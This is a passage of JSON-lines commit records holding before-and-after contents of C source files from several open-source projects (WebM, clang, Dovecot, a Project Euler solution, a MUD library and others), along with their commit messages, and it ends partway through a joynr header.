{"commit":"b5b27a8a3401ba739778049c258aa8cd52c65d80","old_file":"client_encoder\/win\/dshow_util.h","new_file":"client_encoder\/win\/dshow_util.h","old_contents":"\/\/ Copyright (c) 2012 The WebM project authors. All Rights Reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license\n\/\/ that can be found in the LICENSE file in the root of the source\n\/\/ tree. An additional intellectual property rights grant can be found\n\/\/ in the file PATENTS.  All contributing project authors may\n\/\/ be found in the AUTHORS file in the root of the source tree.\n#ifndef CLIENT_ENCODER_WIN_DSHOW_UTIL_H_\n#define CLIENT_ENCODER_WIN_DSHOW_UTIL_H_\n\n#include <ios>\n\n#include \"webmdshow\/common\/hrtext.hpp\"\n#include \"webmdshow\/common\/odbgstream.hpp\"\n\n\/\/ Extracts error from the HRESULT, and outputs its hex and decimal values.\n#define HRLOG(X) \\\n    \" {\" << #X << \"=\" << X << \"\/\" << std::hex << X << std::dec << \" (\" << \\\n    hrtext(X) << \")}\"\n\n#endif  \/\/ CLIENT_ENCODER_WIN_DSHOW_UTIL_H_\n","new_contents":"\/\/ Copyright (c) 2012 The WebM project authors. All Rights Reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license\n\/\/ that can be found in the LICENSE file in the root of the source\n\/\/ tree. An additional intellectual property rights grant can be found\n\/\/ in the file PATENTS.  All contributing project authors may\n\/\/ be found in the AUTHORS file in the root of the source tree.\n#ifndef CLIENT_ENCODER_WIN_DSHOW_UTIL_H_\n#define CLIENT_ENCODER_WIN_DSHOW_UTIL_H_\n\n#include <ios>\n\n#include \"webmdshow\/common\/odbgstream.hpp\"  \/\/ NOLINT\n\/\/ Above include NOLINT'd because it *must always* come before hrtext.\n#include \"webmdshow\/common\/hrtext.hpp\"\n\n\/\/ Extracts error from the HRESULT, and outputs its hex and decimal values.\n#define HRLOG(X) \\\n    \" {\" << #X << \"=\" << X << \"\/\" << std::hex << X << std::dec << \" (\" << \\\n    hrtext(X) << \")}\"\n\n#endif  \/\/ CLIENT_ENCODER_WIN_DSHOW_UTIL_H_\n","subject":"Fix release mode compile error.","message":"Fix release mode compile error.\n\nodbgstream must always be included before hrtext.\n\nChange-Id: I184e8e9ec61c51b8f7e3f5d38135dfa85405d69e\n","lang":"C","license":"bsd-3-clause","repos":"kim42083\/webm.webmlive,iniwf\/webm.webmlive,Acidburn0zzz\/webm.webmlive,abwiz0086\/webm.webmlive,Maria1099\/webm.webmlive,abwiz0086\/webm.webmlive,reimaginemedia\/webm.webmlive,kalli123\/webm.webmlive,iniwf\/webm.webmlive,felipebetancur\/webmlive,kleopatra999\/webm.webmlive,felipebetancur\/webmlive,kalli123\/webm.webmlive,gshORTON\/webm.webmlive,gshORTON\/webm.webmlive,kalli123\/webm.webmlive,Maria1099\/webm.webmlive,Maria1099\/webm.webmlive,abwiz0086\/webm.webmlive,reimaginemedia\/webm.webmlive,altogother\/webm.webmlive,felipebetancur\/webmlive,webmproject\/webmlive,matanbs\/webm.webmlive,matanbs\/webm.webmlive,felipebetancur\/webmlive,gshORTON\/webm.webmlive,kim42083\/webm.webmlive,Suvarna1488\/webm.webmlive,abwiz0086\/webm.webmlive,Suvarna1488\/webm.webmlive,altogother\/webm.webmlive,kleopatra999\/webm.webmlive,Maria1099\/webm.webmlive,reimaginemedia\/webm.webmlive,iniwf\/webm.webmlive,altogother\/webm.webmlive,Acidburn0zzz\/webm.webmlive,ericmckean\/webm.webmlive,reimaginemedia\/webm.webmlive,iniwf\/webm.webmlive,webmproject\/webmlive,ericmckean\/webm.webmlive,webmproject\/webmlive,altogother\/webm.webmlive,ericmckean\/webm.webmlive,webmproject\/webmlive,Suvarna1488\/webm.webmlive,kleopatra999\/webm.webmlive,matanbs\/webm.webmlive,kim42083\/webm.webmlive,kleopatra999\/webm.webmlive,matanbs\/webm.webmlive,Acidburn0zzz\/webm.webmlive,kalli123\/webm.webmlive,webmproject\/webmlive,kim42083\/webm.webmlive,Acidburn0zzz\/webm.webmlive,felipebetancur\/webmlive,gshORTON\/webm.webmlive,Suvarna1488\/webm.webmlive,ericmckean\/webm.webmlive"}
{"commit":"f2e71822a2b5efe95cf528b7055f49562b9ef2ef","old_file":"JPetTreeHeader\/JPetTreeHeaderLinkDef.h","new_file":"JPetTreeHeader\/JPetTreeHeaderLinkDef.h","old_contents":"","new_contents":"#ifdef __CINT__\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n#pragma link C++ nestedclasses;\n#pragma link C++ struct JPetTreeHeader::ProcessingStageInfo+;\n#pragma link C++ class JPetTreeHeader;\n#endif\n","subject":"Add list LinkDef file for JPetTreeHeader","message":"Add list LinkDef file for JPetTreeHeader\n\n\nFormer-commit-id: d29d9e972116a48db9d1c60dc16d6f69a010a693","lang":"C","license":"apache-2.0","repos":"wkrzemien\/j-pet-framework,alexkernphysiker\/j-pet-framework,alexkernphysiker\/j-pet-framework,alexkernphysiker\/j-pet-framework,wkrzemien\/j-pet-framework,JPETTomography\/j-pet-framework,alexkernphysiker\/j-pet-framework,wkrzemien\/j-pet-framework,alexkernphysiker\/j-pet-framework,JPETTomography\/j-pet-framework,wkrzemien\/j-pet-framework,JPETTomography\/j-pet-framework,wkrzemien\/j-pet-framework"}
{"commit":"f0027dbaaf79f475f325a5a8ff4d1ddbe376df2e","old_file":"problem_4\/solution.c","new_file":"problem_4\/solution.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n\nvoid reverse_string(char *str){\n    \/\/ skip null\n    if (str == 0){ return; }\n    \/\/ skip empty string\n    if (*str == 0){ return; }\n    \/\/ get range\n    char *start = str;\n    char *end = start + strlen(str) - 1; \/\/ -1 for \\0\n    char temp;\n    \/\/ reverse\n    while (end > start){\n    \ttemp = *start;\n    \t*start = *end;\n    \t*end = temp;\n    \t++start;\n    \t--end;\n    }\n}\n\nint is_palindrome_number(int n){\n  char n_str[10], r_str[10];\n  snprintf(n_str, sizeof(n_str), \"%d\", n); \/\/ convert int to str\n  snprintf(r_str, sizeof(r_str), \"%d\", n);\n  reverse_string(0);\n  reverse_string(r_str);\n  if(strcmp(n_str, r_str) == 0){\n    return 0;\n  }else{\n    return -1;\n  }\n}\n\nint main(int argc, char *argv[]){\n  int x, y, v, largest_number;\n  for(x = 100; x < 999; x++){\n    for(y = 100; y < 999; y++){\n      v = x * y;\n      if(v > largest_number){\n        if(is_palindrome_number(v) == 0){\n          largest_number = v;\n        }\n      }\n    }\n  }\n  printf(\"%d\\n\", largest_number);\n}\n","subject":"Add C implementation for problem 4.","message":"Add C implementation for problem 4.\n","lang":"C","license":"mit","repos":"mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler"}
{"commit":"41bde8c2fb193aaa8ebefe7d42b32fb0e12626e9","old_file":"test\/CodeGen\/code-coverage.c","new_file":"test\/CodeGen\/code-coverage.c","old_contents":"\/\/ RUN: %clang -O0 -S -mno-red-zone -fprofile-arcs -ftest-coverage -emit-llvm %s -o - | FileCheck %s\n\/\/ <rdar:\/\/problem\/12843084>\n\nint test1(int a) {\n  switch (a % 2) {\n  case 0:\n    ++a;\n  case 1:\n    a \/= 2;\n  }\n  return a;\n}\n\n\/\/ Check tha the `-mno-red-zone' flag is set here on the generated functions.\n\n\/\/ CHECK: void @__llvm_gcov_indirect_counter_increment(i32* %{{.*}}, i64** %{{.*}}) unnamed_addr noinline noredzone\n\/\/ CHECK: void @__llvm_gcov_writeout() unnamed_addr noinline noredzone\n\/\/ CHECK: void @__llvm_gcov_init() unnamed_addr noinline noredzone\n\/\/ CHECK: void @__gcov_flush() unnamed_addr noinline noredzone\n","new_contents":"\/\/ RUN: %clang_cc1 -O0 -emit-llvm -disable-red-zone -femit-coverage-notes -femit-coverage-data %s -o - | FileCheck %s\n\n\/\/ <rdar:\/\/problem\/12843084>\n\nint test1(int a) {\n  switch (a % 2) {\n  case 0:\n    ++a;\n  case 1:\n    a \/= 2;\n  }\n  return a;\n}\n\n\/\/ Check tha the `-mno-red-zone' flag is set here on the generated functions.\n\n\/\/ CHECK: void @__llvm_gcov_indirect_counter_increment(i32* %{{.*}}, i64** %{{.*}}) unnamed_addr noinline noredzone\n\/\/ CHECK: void @__llvm_gcov_writeout() unnamed_addr noinline noredzone\n\/\/ CHECK: void @__llvm_gcov_init() unnamed_addr noinline noredzone\n\/\/ CHECK: void @__gcov_flush() unnamed_addr noinline noredzone\n","subject":"Use correct flags for this test.","message":"Use correct flags for this test.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@169768 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"318d87ddc093ded8e70bb41204079c45e73b4e5e","old_file":"os\/atTime.h","new_file":"os\/atTime.h","old_contents":"\n#ifndef AT_TIME_H\n#define AT_TIME_H\n\n\n\/\/ Under Windows, define the gettimeofday() function with corresponding types\n#ifdef _MSC_VER\n    #include <windows.h>\n    #include <time.h>\n\n\n    \/\/ TYPES\n    struct timezone\n    {\n       int   tz_minuteswest;\n       int   tz_dsttime;\n    };\n\n\n    \/\/ FUNCTIONS\n    int gettimeofday(struct timeval * tv, struct timezone * tz);\n#else\n   #include <sys\/time.h>\n#endif\n\n\n#endif\n\n","new_contents":"\n#ifndef AT_TIME_H\n#define AT_TIME_H\n\n\n\/\/ Under Windows, define the gettimeofday() function with corresponding types\n#ifdef _MSC_VER\n    #include <windows.h>\n    #include <time.h>\n    #include \"atSymbols.h\"\n\n\n    \/\/ TYPES\n    struct timezone\n    {\n       int   tz_minuteswest;\n       int   tz_dsttime;\n    };\n\n\n    \/\/ FUNCTIONS\n    ATLAS_SYM int gettimeofday(struct timeval * tv, struct timezone * tz);\n#else\n   #include <sys\/time.h>\n#endif\n\n\n#endif\n\n","subject":"Add the atSymbols to this so the getTimeOfDay function was usable outside of the windows dll.","message":"Add the atSymbols to this so the getTimeOfDay function was usable outside of the windows dll.\n","lang":"C","license":"apache-2.0","repos":"ucfistirl\/atlas,ucfistirl\/atlas"}
{"commit":"44b9b99aaa607272a4e90ae42d4aba051b85fb22","old_file":"3RVX\/VolumeSlider.h","new_file":"3RVX\/VolumeSlider.h","old_contents":"#pragma once\n\n#include \"OSD\\OSD.h\"\n#include \"MeterWnd\\MeterWnd.h\"\n\nclass VolumeSlider : public OSD {\npublic:\n    VolumeSlider(HINSTANCE hInstance, Settings &settings);\n\n    void Hide();\n\nprivate:\n    MeterWnd _mWnd;\n\n};\n","new_contents":"#pragma once\n\n#include \"OSD\\OSD.h\"\n#include \"SliderWnd.h\"\n\nclass VolumeSlider : public OSD {\npublic:\n    VolumeSlider(HINSTANCE hInstance, Settings &settings);\n\n    void Hide();\n\nprivate:\n    SliderWnd _sWnd;\n\n};\n","subject":"Use a sliderwnd instance to implement the volume slider","message":"Use a sliderwnd instance to implement the volume slider\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,Soulflare3\/3RVX,Soulflare3\/3RVX,malensek\/3RVX,Soulflare3\/3RVX"}
{"commit":"f8fec98ebb2a755583d53edf7c6326e55d5264ab","old_file":"include\/debug.h","new_file":"include\/debug.h","old_contents":"#ifndef __DEBUG_H__\n#define __DEBUG_H__\n\n\/\/ Not using extern, define your own static dbflags in each file\n\/\/ extern unsigned int dbflags;\n\n\/*\n * Bit flags for DEBUG()\n *\/\n#define DB_PLIO        0x001\n#define DB_TIMER       0x002\n#define DB_USER_INPUT  0x004\n#define DB_TRAIN_CTRL  0x008\n\/\/ #define DB_THREADS     0x010\n\/\/ #define DB_VM          0x020\n\/\/ #define DB_EXEC        0x040\n\/\/ #define DB_VFS         0x080\n\/\/ #define DB_SFS         0x100\n\/\/ #define DB_NET         0x200\n\/\/ #define DB_NETFS       0x400\n\/\/ #define DB_KMALLOC     0x800\n\n#if 0\n#define DEBUG(d, fmt, ...) (((dbflags) & (d)) ? plprintf(COM2, fmt, __VA_ARGS__) : 0)\n#else\n#define DEBUG(d, fmt, args...) (((dbflags) & (d)) ? plprintf(COM2, fmt, ##args) : 0)\n#endif\n\n#endif \/\/ __DEBUG_H__\n","new_contents":"#ifndef __DEBUG_H__\n#define __DEBUG_H__\n\n\/\/ Not using extern, define your own static dbflags in each file\n\/\/ extern unsigned int dbflags;\n\n\/*\n * Bit flags for DEBUG()\n *\/\n#define DB_IO        0x001\n#define DB_TIMER       0x002\n#define DB_USER_INPUT  0x004\n#define DB_TRAIN_CTRL  0x008\n\/\/ #define DB_THREADS     0x010\n\/\/ #define DB_VM          0x020\n\/\/ #define DB_EXEC        0x040\n\/\/ #define DB_VFS         0x080\n\/\/ #define DB_SFS         0x100\n\/\/ #define DB_NET         0x200\n\/\/ #define DB_NETFS       0x400\n\/\/ #define DB_KMALLOC     0x800\n\n#if 0\n#define DEBUG(d, fmt, ...) (((dbflags) & (d)) ? plprintf(COM2, fmt, __VA_ARGS__) : 0)\n#else\n#define DEBUG(d, fmt, args...) (((dbflags) & (d)) ? plprintf(COM2, fmt, ##args) : 0)\n#endif\n\n#endif \/\/ __DEBUG_H__\n","subject":"Rename DB_PLIO to DB_IO, indicate general IO Debugging","message":"Rename DB_PLIO to DB_IO, indicate general IO Debugging\n","lang":"C","license":"mit","repos":"gregwym\/PollingTrainControlPanel,gregwym\/PollingTrainControlPanel,gregwym\/PollingTrainControlPanel"}
{"commit":"99ad1572b7ed82443816c5aa8025e8a41332dae9","old_file":"src\/math.c","new_file":"src\/math.c","old_contents":"\/*------------------------------------------------------------------------------\n| NuCTex\t| math.c\n| Author\t| Benjamin A - Nullsrc\n| Created\t| 30 December, 2015\n| Changed\t| 31 December, 2015\n|-------------------------------------------------------------------------------\n| Overview\t| Implementation of various mathematical functions used in the game\n\\-----------------------------------------------------------------------------*\/\n\n#include \"math.h\"\n#include <stdio.h>\n#include <stdlib.h>\n\nvoid initRand() {\n\tsrand(time(NULL));\n}\n\nint rng(int low, int high) {\n\thigh += 1;\n\tint temp = low;\n\tint addend = rand() % (high - low);\n\ttemp += addend;\n\treturn temp;\n}\n\nint zrng(int range) {\n\tint temp = rand() % (range + 1);\n\treturn temp;\n}\n\nint brng() {\n\tint temp = rand() % 2;\n\treturn temp;\n}\n\nint calcDamage(int strength) {\n\tint damageTotal = 0;\n\tdamageTotal = rng(strength - (strength\/4), strength + (strength\/5));\n\treturn damageTotal;\n}\n\nint runAway(int escapingAgility, int chasingAgility) {\n\tif(escapingAgility > chasingAgility) {\n\t\treturn 1;\n\t}\n\telse {\n\t\treturn 0;\n\t}\n}\n","new_contents":"\/*------------------------------------------------------------------------------\n| NuCTex\t| math.c\n| Author\t| Benjamin A - Nullsrc\n| Created\t| 30 December, 2015\n| Changed\t| 31 December, 2015\n|-------------------------------------------------------------------------------\n| Overview\t| Implementation of various mathematical functions used in the game\n\\-----------------------------------------------------------------------------*\/\n\n#include \"math.h\"\n#include <stdio.h>\n#include <stdlib.h>\n\nvoid initRand() {\n\tsrand(time(NULL));\n}\n\nint rng(int low, int high) {\n\thigh += 1;\n\tint temp = low;\n\tint addend = rand() % (high - low);\n\ttemp += addend;\n\treturn temp;\n}\n\nint zrng(int range) {\n\tint temp = rand() % (range + 1);\n\treturn temp;\n}\n\nint brng() {\n\tint temp = rand() % 2;\n\treturn temp;\n}\n\nint calcDamage(int strength) {\n\tint damageTotal = 0;\n\tdamageTotal = rng(strength - (strength\/4), strength + (strength\/5));\n\treturn damageTotal;\n}\n\nint runAway(int escapingAgility, int chasingAgility) {\n\tif((escapingAgility + zrng(escapingAgility\/3)) > chasingAgility) {\n\t\treturn 1;\n\t}\n\telse {\n\t\treturn 0;\n\t}\n}\n","subject":"Add RNG to running away.","message":"Add RNG to running away.\n","lang":"C","license":"mit","repos":"Nullsrc\/nuctex,Nullsrc\/nuctex"}
{"commit":"b8c1ebc0155baeb183779aa0ff09133eff3f9d1a","old_file":"2018\/clone\/clone-vm-sample.c","new_file":"2018\/clone\/clone-vm-sample.c","old_contents":"#define _GNU_SOURCE\n#include <sched.h>\n#include <sys\/syscall.h>\n#include <sys\/wait.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\nstatic int child_func(void* arg) {\n  char* buf = (char*)arg;\n  strcpy(buf, \"hello\");\n  return 0;\n}\n\nint main(int argc, char** argv) {\n  \/\/ Stack for child.\n  const int STACK_SIZE = 65536;\n\n  char* stack = malloc(STACK_SIZE);\n  if (!stack) {\n    perror(\"malloc\");\n    exit(1);\n  }\n\n  unsigned long flags = 0;\n  if (argc > 1 && !strcmp(argv[1], \"vm\")) {\n    flags |= CLONE_VM;\n  }\n\n  char buf[100] = {0};\n  if (clone(child_func, stack + STACK_SIZE, flags | SIGCHLD, buf) == -1) {\n    perror(\"clone\");\n    exit(1);\n  }\n\n  int status;\n  pid_t pid = waitpid(-1, &status, 0);\n  if (pid == -1) {\n    perror(\"waitpid\");\n    exit(1);\n  }\n\n  printf(\"Child exited. buf = \\\"%s\\\"\\n\", buf);\n  return 0;\n}\n","new_contents":"\/\/ We have to define the _GNU_SOURCE to get access to clone(2) and the CLONE_*\n\/\/ flags from sched.h\n#define _GNU_SOURCE\n#include <sched.h>\n#include <sys\/syscall.h>\n#include <sys\/wait.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\nstatic int child_func(void* arg) {\n  char* buf = (char*)arg;\n  strcpy(buf, \"hello\");\n  return 0;\n}\n\nint main(int argc, char** argv) {\n  \/\/ Allocate stack for child task.\n  const int STACK_SIZE = 65536;\n  char* stack = malloc(STACK_SIZE);\n  if (!stack) {\n    perror(\"malloc\");\n    exit(1);\n  }\n\n  \/\/ When called with the command-line argument \"vm\", set the CLONE_VM flag on.\n  unsigned long flags = 0;\n  if (argc > 1 && !strcmp(argv[1], \"vm\")) {\n    flags |= CLONE_VM;\n  }\n\n  char buf[100] = {0};\n  if (clone(child_func, stack + STACK_SIZE, flags | SIGCHLD, buf) == -1) {\n    perror(\"clone\");\n    exit(1);\n  }\n\n  int status;\n  if (wait(&status) == -1) {\n    perror(\"wait\");\n    exit(1);\n  }\n\n  printf(\"Child exited with status %d. buf = \\\"%s\\\"\\n\", status, buf);\n  return 0;\n}\n","subject":"Clean up and simplify sample","message":"Clean up and simplify sample\n","lang":"C","license":"unlicense","repos":"eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog,eliben\/code-for-blog"}
{"commit":"f9a4ae765c2d0f2b20b8520119610ae3b97f342f","old_file":"entry_main.c","new_file":"entry_main.c","old_contents":"\/**\n  * Win32 UTF-8 wrapper\n  *\n  * ----\n  *\n  * main() entry point.\n  * Compile or #include this file as part of your sources\n  * if your program runs in the console subsystem.\n  *\/\n\n#include \"src\/entry.h\"\n#undef main\n\nint __cdecl main(void)\n{\n\treturn win32_utf8_entry(win32_utf8_main);\n}\n","new_contents":"\/**\n  * Win32 UTF-8 wrapper\n  *\n  * ----\n  *\n  * main() entry point.\n  * Compile or #include this file as part of your sources\n  * if your program runs in the console subsystem.\n  *\/\n\n#include \"src\/entry.h\"\n#undef main\n\nint __cdecl wmain(void)\n{\n\treturn win32_utf8_entry(win32_utf8_main);\n}\n\n\/\/ If both main() and wmain() are defined...\n\/\/  Visual Studio (or more specifically, LINK.EXE) defaults to main()\n\/\/  Pelles C defaults to wmain(), without even printing a \"ambiguous entry\n\/\/   point\" warning\n\/\/  MinGW\/GCC doesn't care, and expects wmain() if you specify -municode,\n\/\/   and main() by default.\n\/\/ Thus, we keep main() as a convenience fallback for GCC.\n\n#ifndef _MSC_VER\n\nint __cdecl main(void)\n{\n\treturn win32_utf8_entry(win32_utf8_main);\n}\n\n#endif\n","subject":"Define wmain() in addition to main().","message":"Define wmain() in addition to main().\n\nSaving those precious nanoseconds that the C runtime would otherwise\nwaste with needlessly converting the command line from UTF-16 to the\nANSI codepage. Y'know, I figured it might raise questions if I omit\nthis, and maybe you don't want to have that feel of tainting your build\nwith an unnecessary ANSI function…\n\nBut yeah, entry point precedence *was* a question I had when writing\nthese wrappers, so at least it serves as documentation now. But yeah,\nmain() ultimately *is* the superior choice, due to both being\ncross-platform and requiring less build configuration.\n\nNow, if GCC had a #pragma to control its entry point selection behavior,\nit would be awesome and I'd be gushing with praise at this marvelous\npiece of compiler technology. This is still pretty nice though.\n","lang":"C","license":"unlicense","repos":"thpatch\/win32_utf8"}
{"commit":"83a9513518fe6b2f3009961e00da454d286ec503","old_file":"journald.c","new_file":"journald.c","old_contents":"#include <Python.h>\n#include <systemd\/sd-journal.h>\n\n#ifndef journaldpython\n#define journaldpython\n\nstatic PyObject *\njournald_send(PyObject *self, PyObject *args)\n{\n    \/\/const char *command;\n    \/\/int sts;\n\n    \/\/if (!PyArg_ParseTuple(args, \"s\", &command))\n    \/\/    return NULL;\n    \/\/sts = system(command);\n    \/\/return Py_BuildValue(\"i\", sts);\n    sd_journal_send(\"Test message: %s.\", \"arg1\", NULL);\n    Py_INCREF(Py_None);\n    return Py_None;\n}\n\nstatic PyMethodDef journaldMethods[] = {\n    {\"send\",  journald_send, METH_VARARGS,\n     \"Send an entry to journald.\"},\n    {NULL, NULL, 0, NULL}        \/* Sentinel *\/\n};\n\nPyMODINIT_FUNC\ninitjournald(void)\n{\n    (void) Py_InitModule(\"journald\", journaldMethods);\n}\n\n#endif\n","new_contents":"#include <Python.h>\n#include <systemd\/sd-journal.h>\n\n#ifndef journaldpython\n#define journaldpython\n\nstatic PyObject *\njournald_send(PyObject *self, PyObject *args)\n{\n    \/\/const char *command;\n    \/\/int sts;\n\n    \/\/if (!PyArg_ParseTuple(args, \"s\", &command))\n    \/\/    return NULL;\n    \/\/sts = system(command);\n    \/\/return Py_BuildValue(\"i\", sts);\n    sd_journal_print(1, \"Test message: %s.\", \"arg1\", NULL);\n    Py_INCREF(Py_None);\n    return Py_None;\n}\n\nstatic PyMethodDef journaldMethods[] = {\n    {\"send\",  journald_send, METH_VARARGS,\n     \"Send an entry to journald.\"},\n    {NULL, NULL, 0, NULL}        \/* Sentinel *\/\n};\n\nPyMODINIT_FUNC\ninitjournald(void)\n{\n    (void) Py_InitModule(\"journald\", journaldMethods);\n}\n\n#endif\n","subject":"Use sd_journal_print() instead of send.","message":"Use sd_journal_print() instead of send.\n","lang":"C","license":"lgpl-2.1","repos":"keszybz\/python-systemd,glittershark\/python-systemd,systemd\/python-systemd,again4you\/python-systemd,keszybz\/python-systemd,glittershark\/python-systemd,Awesense\/python-systemd,systemd\/python-systemd,again4you\/python-systemd,Awesense\/python-systemd,davidstrauss\/python-systemd,davidstrauss\/python-systemd,Awesense\/python-systemd"}
{"commit":"30f89db8bbf73ca872502a46fc243fd987ba2210","old_file":"mud\/home\/Verb\/sys\/verb\/core\/wiz\/ooc\/kernel\/kqreset.c","new_file":"mud\/home\/Verb\/sys\/verb\/core\/wiz\/ooc\/kernel\/kqreset.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2017  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kernel\/user.h>\n#include <kotaka\/paths\/system.h>\n#include <kotaka\/paths\/text.h>\n#include <kotaka\/paths\/verb.h>\n\ninherit LIB_VERB;\n\nstring *query_parse_methods()\n{\n\treturn ({ \"raw\" });\n}\n\nvoid main(object actor, mapping roles)\n{\n\tint sz;\n\tstring *resources;\n\tobject proxy;\n\tstring args;\n\n\tif (query_user()->query_class() < 3) {\n\t\tsend_out(\"Permission denied.\\n\");\n\t\treturn;\n\t}\n\n\targs = roles[\"raw\"];\n\n\tresources = KERNELD->query_resources();\n\tproxy = PROXYD->get_proxy(query_user()->query_name());\n\n\tfor (sz = sizeof(resources), --sz; sz >= 0; --sz) {\n\t\tproxy->rsrc_set_limit(args, resources[sz], -1);\n\t}\n\n\tsend_out(\"Resource limits for \" + args + \" removed.\\n\");\n}\n","subject":"Add new verb to reset the kernel library resource limits for an owner","message":"Add new verb to reset the kernel library resource limits for an owner\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"08cd66d0c280fc5c89c40e13156bb298f7f3a49d","old_file":"src\/imap\/cmd-create.c","new_file":"src\/imap\/cmd-create.c","old_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"mail-namespace.h\"\n#include \"commands.h\"\n\nbool cmd_create(struct client_command_context *cmd)\n{\n\tstruct mail_namespace *ns;\n\tconst char *mailbox, *full_mailbox;\n\tbool directory;\n\tsize_t len;\n\n\t\/* <mailbox> *\/\n\tif (!client_read_string_args(cmd, 1, &mailbox))\n\t\treturn FALSE;\n\tfull_mailbox = mailbox;\n\n\tns = client_find_namespace(cmd, &mailbox);\n\tif (ns == NULL)\n\t\treturn TRUE;\n\n\tlen = strlen(full_mailbox);\n\tif (len == 0 || full_mailbox[len-1] != ns->sep)\n\t\tdirectory = FALSE;\n\telse {\n\t\t\/* name ends with hierarchy separator - client is just\n\t\t   informing us that it wants to create children under this\n\t\t   mailbox. *\/\n                directory = TRUE;\n\t\tmailbox = t_strndup(mailbox, len-1);\n\t\tfull_mailbox = t_strndup(full_mailbox, strlen(full_mailbox)-1);\n\t}\n\n\tif (!client_verify_mailbox_name(cmd, full_mailbox, FALSE, TRUE))\n\t\treturn TRUE;\n\n\tif (mail_storage_mailbox_create(ns->storage, mailbox, directory) < 0)\n\t\tclient_send_storage_error(cmd, ns->storage);\n\telse\n\t\tclient_send_tagline(cmd, \"OK Create completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"mail-namespace.h\"\n#include \"commands.h\"\n\nbool cmd_create(struct client_command_context *cmd)\n{\n\tstruct mail_namespace *ns;\n\tconst char *mailbox, *full_mailbox;\n\tbool directory;\n\tsize_t len;\n\n\t\/* <mailbox> *\/\n\tif (!client_read_string_args(cmd, 1, &mailbox))\n\t\treturn FALSE;\n\tfull_mailbox = mailbox;\n\n\tns = client_find_namespace(cmd, &mailbox);\n\tif (ns == NULL)\n\t\treturn TRUE;\n\n\tlen = strlen(full_mailbox);\n\tif (len == 0 || full_mailbox[len-1] != ns->sep)\n\t\tdirectory = FALSE;\n\telse {\n\t\t\/* name ends with hierarchy separator - client is just\n\t\t   informing us that it wants to create children under this\n\t\t   mailbox. *\/\n                directory = TRUE;\n\t\tmailbox = t_strndup(mailbox, strlen(mailbox)-1);\n\t\tfull_mailbox = t_strndup(full_mailbox, len-1);\n\t}\n\n\tif (!client_verify_mailbox_name(cmd, full_mailbox, FALSE, TRUE))\n\t\treturn TRUE;\n\n\tif (mail_storage_mailbox_create(ns->storage, mailbox, directory) < 0)\n\t\tclient_send_storage_error(cmd, ns->storage);\n\telse\n\t\tclient_send_tagline(cmd, \"OK Create completed.\");\n\treturn TRUE;\n}\n","subject":"CREATE ns_prefix\/box\/ didn't work right when namespace prefix existed.","message":"CREATE ns_prefix\/box\/ didn't work right when namespace prefix existed.\n","lang":"C","license":"mit","repos":"LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot"}
{"commit":"d44886c857b812d404e8dc8f192423239b627fb9","old_file":"cpp\/libjoynr\/include\/joynr\/LibJoynrDirectories.h","new_file":"cpp\/libjoynr\/include\/joynr\/LibJoynrDirectories.h","old_contents":"\/*\n * #%L\n * %%\n * Copyright (C) 2011 - 2013 BMW Car IT GmbH\n * %%\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * #L%\n *\/\n#ifndef LIBJOYNRDIRECTORIES_H\n#define LIBJOYNRDIRECTORIES_H\n\n#include \"joynr\/RequestCaller.h\"\n#include \"joynr\/IReplyCaller.h\"\n#include \"joynr\/Directory.h\"\n#include \"joynr\/ISubscriptionCallback.h\"\n#include <string>\n\nnamespace joynr\n{\n\ntypedef Directory<std::string, RequestCaller> RequestCallerDirectory;\ntypedef Directory<std::string, IReplyCaller> ReplyCallerDirectory;\ntypedef 